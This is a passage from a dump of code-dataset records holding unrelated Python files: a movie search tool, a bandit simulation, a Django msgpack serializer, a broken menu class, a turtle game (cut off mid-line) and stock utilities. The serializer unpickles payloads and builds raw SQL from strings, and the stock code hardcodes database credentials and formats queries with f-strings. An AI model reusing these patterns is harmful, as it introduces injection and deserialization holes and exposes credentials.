movie titles from the specified .txt file\n\n Parameters\n ----------\n file_handler: str, file with titles\n\n Returns\n -------\n List\n List of parsed titles\n \"\"\"\n with open(file_handler, 'r') as f:\n titles = [title.strip() for title in f.readlines()]\n return titles\n\n\ndef search_manager(titles: list, movie: str, to_show: bool) -> pd.DataFrame:\n \"\"\"\n Perform search and makes a table with search results\n\n Parameters\n ----------\n titles: list, list of movie titles to search\n movie: str, single movie to find\n to_show: bool,\n Returns\n -------\n Table\n pd.DataFrame, result table\n \"\"\"\n if movie:\n table = pd.DataFrame(index=[movie])\n for key in THEATER_DICT:\n table[key] = search(movie, key)\n print('=' * 80)\n print(table.head())\n print('=' * 80)\n else:\n bar = FillingCirclesBar('Searching: ', max=len(THEATER_DICT.keys()) + 1)\n bar.next()\n table = pd.DataFrame(index=titles)\n for key in THEATER_DICT:\n result = [search(title, key) for title in titles]\n table[key] = result\n bar.next()\n if to_show:\n print('\\n' + '=' * 80)\n print(table)\n print('=' * 80)\n bar.finish()\n print(f\"Searching of {len(titles)} movies done.\\nCheck results.csv\")\n return table\n\n\ndef parse_args() -> Tuple[str, bool]:\n \"\"\"\n Parsing of initial flags --single and --show\n Returns\n -------\n Tuple:\n Params to use\n \"\"\"\n parser = argparse.ArgumentParser()\n parser.add_argument(\n \"-si\",\n \"--single\",\n type=str,\n help='Enter single movie title to perform a quick search'\n )\n parser.add_argument(\n \"-sh\",\n \"--show\",\n type=bool,\n default=False,\n help='Show or not search results in terminal. False by default'\n )\n args = parser.parse_args()\n return args.single, args.show\n\n\ndef file_manager(search_file_handler: str) -> None:\n \"\"\"\n Checks if search_file.txt exists if not than creates it\n Parameters\n ----------\n search_file_handler, str: Name of the file to check\n\n Returns\n -------\n None\n \"\"\"\n if not os.path.exists(search_file_handler):\n os.mknod(search_file_handler)\n\n\nif __name__ == '__main__':\n # todo: Добавить в search manager аботчик ошибок\n # todo: Подумать над добавлением\n # западных кинотеатров + поиске фильмов на английском языке\n single_movie, show = parse_args()\n if not single_movie:\n file_manager(SEARCH_FILE)\n movies_to_find = get_titles(SEARCH_FILE)\n search_manager(movies_to_find, single_movie, show).to_csv(RESULT_FILE)\n","repo_name":"mvrck96/1k_movie_checker","sub_path":"movie_checker.py","file_name":"movie_checker.py","file_ext":"py","file_size_in_byte":4739,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"28390472692","text":"'''\nComputational Models of Cognition\nFinal Project\n11/14/18\n\nFunctions for implementing and running the Epsilon-Greedy and Epsilon-Decreasing models\nin a replication study of Lee et al. (2011).\n'''\nimport random\nimport numpy as np\n\nclass Game:\n \n def __init__(self, num_arms, epsilon, environment):\n self.trial = 0\n self.arms = []\n self.num_arms = num_arms\n self.epsilon = epsilon\n self.probabilities = self.get_arm_probabilities(environment)\n for i in range(num_arms):\n temp_arm = Arm(self.probabilities[i], i)\n self.arms.append(temp_arm)\n \n def get_decreased_epsilon(self):\n '''\n Parameters: self\n Returns: the decreased epsilon based on the current trial number\n '''\n if self.trial != 0:\n return self.epsilon / self.trial\n #If we are on trial 0, return the original epsilon\n return self.epsilon\n \n def get_total_rewards(self):\n '''\n Parameters: self\n Returns: A string listing the number of wins in the current game, the number of \n losses in the current game, and the reward rate\n '''\n total_wins = 0\n for i in range(self.num_arms):\n total_wins += self.arms[i].number_wins\n string = \"Total Wins: \" + str(total_wins) + \" ; Total Losses: \" + str(self.trial - total_wins) + \" ; Reward Rate: \" + str(total_wins / self.trial)\n \n return string\n \n def get_arm_probabilities(self, environment):\n '''\n Parameters: \n self\n environment: \"n\" for neutral, \"s\" for sparse, or \"p\" for plentiful\n Returns: a list of arm probabilities sampled from the corresponding Beta distributions \n (Beta(1,1) for neutral; Beta(2,4) for sparse; Beta(4,2) for plentiful)\n '''\n probabilities = []\n for i in range(self.num_arms):\n if environment == \"n\":\n probabilities.append(np.random.beta(1,1))\n elif environment == \"s\":\n probabilities.append(np.random.beta(2,4))\n else:\n probabilities.append(np.random.beta(4,2))\n return probabilities\n \n \nclass Arm:\n \n def __init__(self, probability, number):\n self.number_wins = 0\n self.number_choices = 0\n self.probability = probability\n self.number = number\n \n def expected(self):\n '''\n Parameters: self\n Returns: the expected value of the arm in question\n '''\n #Avoid divide by zero\n if self.number_choices != 0:\n #Calculate expected value as number of times the arm won divided by the number of \n #times the arm was chosen\n return self.number_wins / self.number_choices\n else:\n return 0\n\n\ndef epsilon_greedy(game):\n '''\n Implements epsilon-greedy heuristic\n\n Parameters: \n game: current game object being played\n\n Returns: a tuple that contains this trial's choice and result\n '''\n next_choice = decide_next_move(game, False)\n result = calculate_result(next_choice, game)\n update_game(next_choice, result, game)\n \n return (next_choice, result)\n\n\ndef epsilon_decreasing(game):\n '''\n Implements epsilon-decreasing heuristic\n\n Parameters: \n game: current game object being played\n\n Returns: a tuple that contains this trial's choice and result\n '''\n\n next_choice = decide_next_move(game, True)\n result = calculate_result(next_choice, game)\n update_game(next_choice, result, game)\n \n return (next_choice, result)\n\n\ndef decide_next_move(game, decreasing):\n '''\n Decides which arm to choose next depending on the epsilon greedy heuristic\n\n Parameters: \n game: the game object\n decreasing: a boolean decreasing indicating whether the heurisitc is epsilon-greedy (False)\n or epsilon-decreasing (True)\n\n Returns: the arm object that will be chosen next\n '''\n random_num = random.random()\n \n #Decrease epsilon if applicable\n if decreasing:\n current_epsilon = game.get_decreased_epsilon()\n else:\n current_epsilon = game.epsilon\n \n #Decide to exploit\n if random_num <= (1 - current_epsilon):\n best_arm_value = game.arms[0].expected() \n arms_with_best_value = []\n \n #Find the arm with the best expected value\n for i in range(game.num_arms):\n if game.arms[i].expected() > best_arm_value:\n best_arm_value = game.arms[i].expected()\n \n #Check if more than one arm has the best expected value\n for i in range(game.num_arms):\n if game.arms[i].expected() == best_arm_value:\n arms_with_best_value.append(game.arms[i])\n \n #Choose randomly from the list of arms with the best expected value\n random_num = random.randint(0, len(arms_with_best_value) - 1)\n \n return arms_with_best_value[random_num] \n \n #Decide to explore\n else:\n #Choose randomly\n return choose_randomly(game)\n \ndef calculate_result(choice, game):\n '''\n Calculates the outcome of the choice (a win or loss) based on the probabilities associated with each arm.\n\n Parameters: \n choice: the choice of arm (0 or 1)\n game: the game object being played, which holds the probabilities of success for the arms\n\n Returns: int outcome (0 if loss, 1 if win)\n '''\n win_number = random.random()\n \n #Probability of success for the chosen arm\n prob_success = choice.probability\n \n #Determine win or loss\n if win_number <= prob_success:\n return 1\n else:\n return 0\n \ndef update_game(choice, result, game):\n '''\n Updates expected win rates for arms and trial count after each trial\n \n Parameters: \n choice: last arm object chosen\n result: win or loss (1 or 0)\n '''\n game.trial += 1\n choice.number_choices += 1\n if result == 1:\n choice.number_wins += 1\n \ndef choose_randomly(game):\n '''\n Chooses one arm randomly.\n \n Returns: an arm object\n '''\n randint = random.randint(0, game.num_arms - 1)\n return game.arms[randint]\n\n\ndef epsilon_heuristics_simulation(n, trials, choices_filename, results_filename, num_arms, epsilon, decreasing, environment):\n '''\n Parameters: \n n: number of games\n trials: number of trials for each game\n choices_filename: file to be created and written with choice data\n results_filename: file to be created and written with results data\n num_arms: number of arms in the game\n epsilon: a value for epsilon\n decreasing: a boolean for whether the heuristic is epsilon greedy (False) or decreasing (True)\n environment: \"n\" for neutral, \"s\" for sparse, \"p\" for plentiful\n \n Writes outcome of simulation to a file in .csv format.\n '''\n choices_file = open(choices_filename, \"w\")\n results_file = open(results_filename, \"w\")\n\n #Write a header\n for h in range(trials):\n choices_file.write(\"trial\" + str(h) + \"choice\")\n results_file.write(\"trial\" + str(h) + \"result\")\n if h < trials - 1:\n choices_file.write(\",\")\n results_file.write(\",\")\n \n #Initialize and run n games\n for i in range(n):\n game = Game(num_arms, epsilon, environment)\n choices_file.write(\"\\n\")\n results_file.write(\"\\n\")\n\n #Run trials for each game\n for j in range(trials):\n if decreasing:\n trial = epsilon_decreasing(game)\n else:\n trial = epsilon_greedy(game)\n choices_file.write(str(trial[0].number))\n results_file.write(str(trial[1]))\n #Write a comma after the result if the trial is not the last trial\n if j < trials - 1:\n choices_file.write(\",\")\n results_file.write(\",\")\n\ndef generate_model_data():\n '''\n Run the Epsilon-Greedy and Epsilon_Decreasing models in neutral, sparse, and plentiful \n environments with parameters chosen for our experiment.\n '''\n #Epsilon-greedy:\n \n #Neutral environment\n epsilon_heuristics_simulation(500, 8, \"./ModelData/EpsilonGreedy/epsilonGreedyNeutral8Choices.csv\", \"./ModelData/EpsilonGreedy/epsilonGreedyNeutral8Results.csv\", 2, .9, False, \"n\")\n epsilon_heuristics_simulation(500, 16, \"./ModelData/EpsilonGreedy/epsilonGreedyNeutral16Choices.csv\", \"./ModelData/EpsilonGreedy/epsilonGreedyNeutral16Results.csv\", 2, .9, False, \"n\")\n \n #Sparse environment\n epsilon_heuristics_simulation(500, 8, \"./ModelData/EpsilonGreedy/epsilonGreedySparse8Choices.csv\", \"./ModelData/EpsilonGreedy/epsilonGreedySparse8Results.csv\", 2, .9, False, \"s\")\n epsilon_heuristics_simulation(500, 16, \"./ModelData/EpsilonGreedy/epsilonGreedySparse16Choices.csv\", \"./ModelData/EpsilonGreedy/epsilonGreedySparse16Results.csv\", 2, .9, False, \"s\")\n \n #Plentiful environment\n epsilon_heuristics_simulation(500, 8, \"./ModelData/EpsilonGreedy/epsilonGreedyPlentiful8Choices.csv\", \"./ModelData/EpsilonGreedy/epsilonGreedyPlentiful8Results.csv\", 2, .9, False, \"p\")\n epsilon_heuristics_simulation(500, 16, \"./ModelData/EpsilonGreedy/epsilonGreedyPlentiful16Choices.csv\", \"./ModelData/EpsilonGreedy/epsilonGreedyPlentiful16Results.csv\", 2, .9, False, \"p\")\n \n #Epsilon-decreasing:\n \n #Neutral environment\n epsilon_heuristics_simulation(500, 8, \"./ModelData/EpsilonDecreasing/epsilonDecreasingNeutral8Choices.csv\", \"./ModelData/EpsilonDecreasing/epsilonDecreasingNeutral8Results.csv\", 2, .9, True, \"n\")\n epsilon_heuristics_simulation(500, 16, \"./ModelData/EpsilonDecreasing/epsilonDecreasingNeutral16Choices.csv\", \"./ModelData/EpsilonDecreasing/epsilonDecreasingNeutral16Results.csv\", 2, .9, True, \"n\")\n \n #Sparse environment\n epsilon_heuristics_simulation(500, 8, \"./ModelData/EpsilonDecreasing/epsilonDecreasingSparse8Choices.csv\", \"./ModelData/EpsilonDecreasing/epsilonDecreasingSparse8Results.csv\", 2, .9, True, \"s\")\n epsilon_heuristics_simulation(500, 16, \"./ModelData/EpsilonDecreasing/epsilonDecreasingSparse16Choices.csv\", \"./ModelData/EpsilonDecreasing/epsilonDecreasingSparse16Results.csv\", 2, .9, True, \"s\")\n \n #Plentiful environment\n epsilon_heuristics_simulation(500, 8, \"./ModelData/EpsilonDecreasing/epsilonDecreasingPlentiful8Choices.csv\", \"./ModelData/EpsilonDecreasing/epsilonDecreasingPlentiful8Results.csv\", 2, .9, True, \"p\")\n epsilon_heuristics_simulation(500, 16, \"./ModelData/EpsilonDecreasing/epsilonDecreasingPlentiful16Choices.csv\", \"./ModelData/EpsilonDecreasing/epsilonDecreasingPlentiful16Results.csv\", 2, .9, True, \"p\")\n \n#generate_model_data()","repo_name":"isakson/BanditProblemModels","sub_path":"epsilon_heuristics.py","file_name":"epsilon_heuristics.py","file_ext":"py","file_size_in_byte":10778,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"27264446846","text":"from __future__ import unicode_literals\n\nfrom datetime import datetime, date, time, timedelta\nfrom decimal import Decimal, ROUND_HALF_EVEN, Context, Overflow, DivisionByZero, InvalidOperation\nfrom aenum import Enum, IntEnum, Constant\nfrom django.db.models import Model, QuerySet\nfrom django.db.models.base import ModelBase\nfrom django.db.models.sql.query import Query\nfrom django.utils import dateparse\nfrom msgpack import packb, unpackb, ExtType\nfrom six import string_types, ensure_str, ensure_binary\nimport re\n\ntry:\n import cPickle as pickle\nexcept ImportError:\n import pickle\n\nimport logging\n\nlogger = logging.getLogger(__name__)\n\nDEFAULT_DATE_STRING_FORMAT = \"%Y-%m-%d\"\nDEFAULT_TIME_STRING_FORMAT = \"%H:%M:%S.%f\"\nDEFAULT_DATETIME_TIMEZONE_STRING_FORMAT = \"%Y-%m-%d %H:%M:%S.%f%z\"\nDEFAULT_DECIMAL_CONTEXT = Context(prec=28, rounding=ROUND_HALF_EVEN, Emin=-999999, Emax=999999,\n capitals=1, flags=[], traps=[Overflow, DivisionByZero,\n InvalidOperation])\n\n\ndef pack(s):\n return packb(s, use_bin_type=True)\n\n\ndef unpack(s):\n return unpackb(s, raw=False)\n\n\nclass ExternalType(IntEnum):\n DECIMAL = 42\n ORM_INSTANCE = 43\n ORM_QUERYSET = 44\n\n\ndef encode_nondefault_object(obj):\n \"\"\" Encode an object by make it compatible with default msgpack encoder or using ExtType\n\n :param obj: any objet\n :return:\n \"\"\"\n if obj is None:\n return\n if hasattr(obj, '_asdict') and callable(obj._asdict):\n return dict(obj._asdict())\n elif hasattr(obj, 'to_dict') and callable(obj.to_dict):\n return dict(obj.to_dict())\n elif hasattr(obj, 'to_list') and callable(obj.to_list):\n return list(obj.to_list())\n elif isinstance(obj, dict): # handle Box, defaultdict and all variant of dictionary\n return dict(obj)\n elif isinstance(obj, (tuple, set, list)): # tuple,set,list will be treated as list\n return list(obj)\n elif isinstance(obj, Enum) and hasattr(obj, 'value'):\n return obj.value\n elif isinstance(obj, Constant) and hasattr(obj, '_value_'):\n return obj._value_\n elif isinstance(obj, Decimal):\n return ExtType(ExternalType.DECIMAL, ensure_binary(str(obj)))\n elif isinstance(obj, datetime):\n return obj.strftime(DEFAULT_DATETIME_TIMEZONE_STRING_FORMAT)\n elif isinstance(obj, date):\n return obj.strftime(DEFAULT_DATE_STRING_FORMAT)\n elif isinstance(obj, time):\n return obj.strftime(DEFAULT_TIME_STRING_FORMAT)\n elif isinstance(obj, timedelta):\n if 0 <= obj.total_seconds() < 86400:\n return '+{}'.format(obj)\n return str(obj)\n else:\n if isinstance(obj, Model):\n return ExtType(ExternalType.ORM_INSTANCE, pickle.dumps(obj, -1))\n elif isinstance(obj, QuerySet):\n return ExtType(ExternalType.ORM_QUERYSET, pickle.dumps((obj.model, obj.query), -1))\n # logger.debug(\"unknown type obj=%s\", obj)\n return obj\n\n\ndef django_ext_hook(code, data):\n if code == ExternalType.DECIMAL:\n return Decimal(ensure_str(data, encoding='utf-8'), context=DEFAULT_DECIMAL_CONTEXT)\n elif code == ExternalType.ORM_INSTANCE:\n return pickle.loads(data)\n elif code == ExternalType.ORM_QUERYSET:\n # untouched queryset case\n model, query = pickle.loads(data)\n if isinstance(model, ModelBase) and isinstance(query, Query):\n qs = model.objects.all()\n qs.query = query\n return qs\n # unable to decode external type then return as it is\n return ExtType(code, data)\n\n\ndef decode_dict_object(dict_obj):\n return {\n key: decode_single_object(value)\n for key, value in dict_obj.items()\n }\n\n\ndef decode_list_object(list_obj):\n return [decode_single_object(value) for value in list_obj]\n\n\ndatetime_test_re = re.compile(\n r'[-+.:0123456789]*:[-+.:0123456789]+' # datetime\n r'|\\d+\\-\\d+\\-\\d+' # date\n r'|[-+]?\\d+\\s+days?,?\\s*[.:0123456789]*' # duration\n r'|[-+]?P\\d*D?T\\d*H?\\d*M?\\d*S?' # duration ISO_8601\n)\n\ndjango_orm_re = re.compile(r\"<([\\w]+\\.[\\w]+)\\.(\\d+)>\")\ndjango_orm_queryset_re = re.compile(r\"\\s*\\(([\\w]+\\.[\\w]+):\\s*(.+)\\)\", re.MULTILINE)\n\nfrom django.apps import apps\n\n\ndef decode_single_object(obj):\n if obj is None:\n return\n if isinstance(obj, string_types):\n datetime_obj = None\n lenobj = len(obj)\n if lenobj <= 33 and datetime_test_re.match(obj):\n try:\n if lenobj == 33:\n datetime_obj = dateparse.parse_datetime(obj.replace(' +', '+'))\n elif 31 <= lenobj <= 32 or 21 <= lenobj <= 26:\n datetime_obj = dateparse.parse_datetime(obj)\n elif lenobj == 10:\n datetime_obj = dateparse.parse_date(obj)\n if not datetime_obj: # there is an over lapse case\n datetime_obj = dateparse.parse_time(obj)\n elif lenobj == 5 or lenobj == 8 or 10 <= lenobj <= 15:\n datetime_obj = dateparse.parse_time(obj)\n if datetime_obj is None: # a time object is also maybe a valid duration object\n datetime_obj = dateparse.parse_duration(re.sub(r'^(\\-?)\\+?:?(\\d)', r'\\1\\2', obj))\n except ValueError:\n # fix a bug where the obj may not be an actual datetime string but mistakenly recognized as one\n datetime_obj = None\n # if there is a datetime_obj can be decoded from string then return it\n if datetime_obj is not None:\n return datetime_obj\n # check django orm evaluation from string\n m = django_orm_re.match(obj)\n if m:\n return apps.get_model(m.group(1)).objects.get(pk=m.group(2))\n m2 = django_orm_queryset_re.match(obj)\n if m2:\n model = apps.get_model(m2.group(1))\n raw_id_qs = \"SELECT id FROM {} WHERE {}\".format(model._meta.db_table, m2.group(2).strip())\n return model.objects.filter(id__in=[o.id for o in model.objects.raw(raw_id_qs)])\n return obj\n\n\ndef dumps(o):\n return packb(o, strict_types=True, default=encode_nondefault_object, use_bin_type=True)\n\n\ndef loads(s):\n if not isinstance(s, string_types):\n s = bytes(s)\n r = unpackb(s, ext_hook=django_ext_hook, object_hook=decode_dict_object, list_hook=decode_list_object,\n raw=False, strict_map_key=False)\n if isinstance(r, string_types):\n return decode_single_object(r)\n else:\n return r\n\n\nregister_args = (dumps, loads, 'application/x-django-msgpackpickle', 'binary')\n","repo_name":"0xGosu/nameko-django","sub_path":"nameko_django/serializer.py","file_name":"serializer.py","file_ext":"py","file_size_in_byte":6639,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"0"}
+{"seq_id":"74288267555","text":"#coding:Utf-8\r\n\r\n\r\nclass Menu:\r\n \"\"\" classe du menu qui regroupe les aliments choisis \"\"\"\r\n def __init__ (self, bmenu = {}, **data_menu):\r\n \"\"\"\r\n @DE KISSIE :\r\n -> Où se trouve l'attribut \"nomMenu\" ?\r\n\r\n \"\"\"\r\n \"\"\" initialisation du menu \"\"\"\r\n self._foods = [] # Liste contenant des aliments\r\n\r\n self.Qti_Cal = [] # Quantité de de Calcium\r\n self.Qti_Fer = [] # Quantité de Fer\r\n self.Qti_Iode = [] # Quantité d'Iode\r\n self.Qti_Magn = [] # Quantité de Magnésium\r\n self.Qti_Mang = [] # Quantité de Manganèse\r\n self.Qti_Pot = [] # Quantité de Potassium\r\n self.Qti_Sod = [] # Quantité de Sodium\r\n self.Qti_Souf = [] # Quantité de Souffre\r\n self.Qti_Zin = [] # Quantité de Zinc\r\n # microgramme\r\n self.Qti_VitA = [] # Quantité de Vitamine A\r\n self.Qti_VitB1 = [] # Quantité de Vitamine B1\r\n self.Qti_VitB2 = [] # Quantité de Vitamine B2\r\n self.Qti_VitB6 = [] # Quantité de Vtamine B6\r\n self.Qti_VitB9 = [] # Quantité de Vitamine B9\r\n self.Qti_VitC = [] # Quantité de Vitamine C\r\n self.Qti_VitD = [] # Quantité de Vitamine D\r\n self.Qti_VitPP = [] # Quantité de Vitamine PP\r\n # gramme\r\n # Quantité Acides Gras\r\n self.Qti_Poly = [] # Quantité de Polyinsaturés\r\n self.Qti_Mono = [] # Quantité de Mono-insaturés\r\n self.Qti_Satu = [] # Quantité de Saturés\r\n # Quantité Protéines\r\n self.Qti_Vege = [] # Quantité Végétales\r\n self.Qti_Ani = [] # Quantité Animals\r\n # Quantité Glucides\r\n self.Qti_Suc = [] # Quantité Sucre\r\n self.Qti_Ami = [] # Quantité Amidon\r\n # Quantité Lipides\r\n self.Qti_OAni = [] # Quantité Origine Animale\r\n self.Qti_OVege = [] # Quantité Origine Végétale\r\n\r\n self.Qti_Chol = [] # Quantité de CHolestérol (mg)\r\n\r\n self.Qti_Ener = [] # Energie en KiloJoules(kj) ou KiloCalorie(kcal)\r\n\r\n self.Qti_Fib = [] # Quantité de Fibre (mg)\r\n\r\n\r\n\r\n \"\"\"\r\n @DE KISSIE : \r\n - Selon cette syntaxe, tu n'as pas utilisé de dictionnaire ici mais\r\n plutôt ce qu'on appelle un 'set'.\r\n \r\n Les dicos sont définis selon la syntaxe :\r\n dico = {cle1 : valeur1 , cle2 : valeur2, cle3 : valeur3, ...}\r\n\r\n - Où sont définies les variables citées dans ce dico ?\r\n (foods, Cals, Fer, ...)\r\n \"\"\"\r\n\r\n # Dictionnaire qui accompagne l'aliment\r\n self.dfood = {foods, Cal, Fer, Iode,\r\n Magn, Mang, Pot, Sod,\r\n Souf, Zin, VitA, VitB1,\r\n VitB2, VitB6, VitB9, VitC,\r\n VitD, VitPP, Poly, Mono, Satu,\r\n Vege, Ani, Suc, Ami, OAni, OVege,\r\n Chol, Ener, Fib}\r\n\r\n \"\"\"\r\n @DE KISSIE : \r\n Ici la bonne syntaxe est : \r\n -> if not isinstance(bmenu, (dict, Menu)) :\r\n\r\n \"\"\"\r\n # Vérification de 'bmenu' si c'est un dictionnaire\r\n if type(bmenu) not in (dict, Menu): \t# Ce n'est pas la syntaxe optimale\r\n raise TypeError(\"Le type attendu est un dictionnaire de menu\")\r\n\r\n # Récupéraion des données de 'bmenu'\r\n for foods in bmenu:\r\n self[foods] = bmenu[foods]\r\n\r\n # Récupération des données de 'data_menu'\r\n for foods in data_menu:\r\n self[foods] = data_menu[foods]\r\n\r\n def __repr__ (self):\r\n \"\"\" Méthode pour traduire en chaine de caractère un dictionnaire \"\"\"\r\n\r\n chaine_menu = \"{\"\r\n pass_menu = True\r\n for dfood in self.items():\r\n if not pass_menu:\r\n chaine_menu += \"\\n\"\r\n else:\r\n chaine_menu += repr(foods) + \"->\" + repr(Cal) + \"|\" + repr(Fer) + \"|\" +\\\r\n repr(Iode) + \"|\" + repr(Magn) + \"|\" + repr(Mang) + \"|\" + repr(Pot)\r\n\r\n chaine_menu += \"|\" + repr(Sod) + \"|\" + repr(Souf) + \"|\" + repr(Zin) + \"|\" + repr(VitA) + \\\r\n \"|\" + repr(VitB1) + \"|\" + repr(VitB2) + \"|\" + repr(VitB6) + \"|\" + repr(VitB9)\r\n\r\n chaine_menu += \"|\" + repr(VitC) + \"|\" + repr(VitD) + \"|\" + repr(VitPP) + \"|\" + repr(Poly) + \\\r\n \"|\" + repr(Mono) + \"|\" + repr(Satu) + \"|\" + repr(Vege) + \"|\"\r\n\r\n chaine_menu += repr(Ani) + \"|\" + repr(Suc) + \"|\" + repr(Ami) + \"|\" + repr(OAni) + \"|\" + \\\r\n repr(OVege) + \"|\" + repr(Chol) + \"|\" + repr(Ener) + \"|\" + repr(Fib)\r\n chaine_menu += \"}\"\r\n\r\n return chaine_menu\r\n\r\n def __str__ (self):\r\n \"\"\" Méthode fesant appelle à 'repr' pour afficher le dictionnaire \"\"\"\r\n\r\n return repr(self)\r\n\r\n def __contains__ (self, foods):\r\n \"\"\" Renvoie les valeurs des différents aliments \"\"\"\r\n\r\n return foods in self._foods\r\n\r\n def __getitem__ (self, foods, dfood):\r\n \"\"\" Renvoie Les valeurs correspondant à l'aliment \"\"\"\r\n if foods not in self._foods:\r\n raise KeyError(\"L'aliment {} ne se trouve pas dans le menu\".format(foods))\r\n else:\r\n indice = self._foods.index(foods)\r\n return self.dfood[indice]\r\n\r\n def __delitem__ (self, foods):\r\n \"\"\" Méthode pour supprimer un aliment ou vider un menu \"\"\"\r\n # Vider un menu\r\n for foods in bmenu:\r\n indice = self._foods.index(foods)\r\n del self._foods[indice]\r\n indice = self.dfood.index(dfood)\r\n del self.dfood[dfood]\r\n # Supprimer un aliment\r\n if foods not in self._foods:\r\n raise KeyError(\"L'aliment {} ne se trouve pas dans le menu\".format(foods))\r\n else:\r\n indice = self._foods.index(foods)\r\n del self._foods[indice]\r\n del self.dfood\r\n\r\n def __iter__ (self):\r\n \"\"\" Méthode qui parcourt tous les éléments contenus dans une liste \"\"\"\r\n\r\n return iter(self._foods)\r\n\r\n def __add__ (self):\r\n \"\"\" Méthode pour ajouter un aliment dans le menu \"\"\"\r\n if foods not in self._foods:\r\n raise KeyError(\"L'aliment {} n'existe pas dans la base de donnée\".format(foods))\r\n else:\r\n for foods, dfood in self.items():\r\n self._foods[foods] = dfood\r\n\r\n def items (self):\r\n \"\"\" Renvoie un générateur contenant l'aliment ainsi que les les nutriments\r\n qui y sont \"\"\"\r\n for i, foods in enumerate(self._foods):\r\n dfood = self.dfood[i]\r\n yield (foods, dfood)\r\n\r\n def eating (self):\r\n \"\"\" Methode qui renvoie la liste des aliments \"\"\"\r\n return list(self._foods)\r\n\r\n def dictfood (self):\r\n \"\"\" Méthode qui renvoie la liste de tous les nutriments de la base de données \"\"\"\r\n return list(self.dfood)\r\n\r\n\r\n\r\nif __name__ == '__main__':\r\n Menu1 = Menu() # type: object\r\n print(Menu1)\r\n\r\n#NB : S'il y a des probleme fais le moi savoir afin que je puisse me corriger aussi\r\n#Merci\r\n","repo_name":"Fredkiss3/Projet-dietetique","sub_path":"Code/Classes/Menu.py","file_name":"Menu.py","file_ext":"py","file_size_in_byte":7233,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
+{"seq_id":"449079446","text":"import turtle\r\nimport random as rd\r\n\r\n\r\ns=turtle.Screen()\r\ns.setup(800,600)\r\ns.title('caterpillar game')\r\ns.bgcolor('yellow')\r\n\r\ncat=turtle.Turtle()\r\ncat.shape('circle')\r\ncat.color('black')\r\ncat.speed(0)\r\ncat.hideturtle()\r\n\r\nleaf=turtle.Turtle()\r\nleaf_shape=((0,0),(14,2),(18,6),(20,20),(6,18),(2,14))\r\n# registering leaf shape\r\ns.register_shape('itsleaf',leaf_shape)\r\nleaf.shape('itsleaf')\r\nleaf.color(\"green\")\r\nleaf.penup()\r\nleaf.speed(0)\r\nleaf.goto(0,100)\r\nleaf.hideturtle()\r\n\r\ntext_turtle=turtle.Turtle()\r\ntext_turtle.write('PRESS W TO START',align='center',font='arial 17 bold')\r\ntext_turtle.color('red')\r\ntext_turtle.speed(0)\r\ntext_turtle.hideturtle()\r\n\r\nscore_turtle=turtle.Turtle()\r\nscore_turtle.speed(0)\r\nscore_turtle.hideturtle()\r\n\r\n# setting boundary limits\r\ndef outside_wall():\r\n left_wall=-s.window_width()/2\r\n right_wall=s.window_width()/2\r\n top_wall=s.window_height()/2\r\n bottom_wall=-s.window_height()/2\r\n (x,y)=cat.pos()\r\n outside=right_wall pd.DataFrame:\n \"\"\"\n :ticker company ticker\n\n :returns DataFrame with company data\n \"\"\"\n try:\n db = mysql.connector.connect(\n user=\"fellow\",\n password=\"fellow2021\",\n host=\"51.83.129.54\",\n port=3306,\n database=\"fellowshippl\"\n )\n\n except Error as e:\n print(\"Error while connecting to MySQL\", e)\n\n curs = db.cursor()\n conditions = f\"SELECT session_date ,close FROM olhc WHERE ticker = '{ticker.upper()}'\"\n curs.execute(conditions)\n\n data = []\n for x in curs:\n data.append(x)\n\n df = pd.DataFrame(data, columns=['date', 'close'])\n return df\n\n\n\"\"\"\njeżeli stracę więcej niż x złotych, to przerwij obliczenia\n\n\nDRAWDOWN \n\"\"\"\n\n\ndef bollinger_bands(data):\n \"\"\"\n :data DF containing company close price data\n\n :returns plot and calculate bollinger bands\n \"\"\"\n moving_average = []\n bandwidth = []\n for x in data.index:\n index = x + 20\n if index <= data.index.max():\n avg = data['close'].rolling(window=20).mean().iloc[x:index]\n moving_average.append(avg.iloc[-1])\n std = np.std(data['close'].iloc[x:index])\n bandwidth.append(std)\n\n maximum = np.array(bandwidth) + np.array(moving_average)\n max_bandwidth = pd.DataFrame(maximum, columns=['max'])\n minimum = np.array(moving_average) - np.array(bandwidth)\n min_bandwidth = pd.DataFrame(minimum, columns=['min'])\n df_average = pd.DataFrame(moving_average, columns=['average'])\n # df_std = pd.DataFrame(bandwidth, columns=['std'])\n\n plt.plot(max_bandwidth, label='max')\n plt.plot(min_bandwidth, label='min')\n plt.plot(df_average, label='avg')\n plt.plot(data['close'], label='price')\n plt.legend(loc='upper left')\n plt.show()\n\n\ndef plot_sim(cash, r, ra, rb, pnl, q):\n \"\"\"\n\n\n :param cash: price of stocks\n :param r: Reserve price\n :param ra: reserve price ask\n :param rb: reserve price bid\n :param pnl: Wealth\n :param q: inventory\n :return: plot result of simulation\n \"\"\"\n f = plt.figure(figsize=(15, 4))\n f.add_subplot(1, 3, 1)\n plt.plot(cash, color='black', label='price')\n plt.plot(r, color='blue', label='Reservation price')\n plt.plot(ra, color='red', linestyle='', marker='.', label='price asked', markersize='4')\n plt.plot(rb, color='lime', linestyle='', marker='o', label='Price bid', markersize='2')\n plt.legend()\n\n f.add_subplot(1, 3, 2)\n plt.plot(pnl[:-1], color='black', label='PNL')\n plt.xlabel('Time')\n plt.ylabel('PnL [ZL]')\n plt.grid(True)\n plt.legend()\n\n f.add_subplot(1, 3, 3)\n plt.plot(q[:-1], color='black', label='stocks held')\n plt.xlabel('Time')\n plt.ylabel('Inventory')\n plt.grid(True)\n plt.legend()\n\n plt.show()\n","repo_name":"czakuou/stock_analysis","sub_path":"microstructure/ohf_utilities.py","file_name":"ohf_utilities.py","file_ext":"py","file_size_in_byte":2938,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"0"}
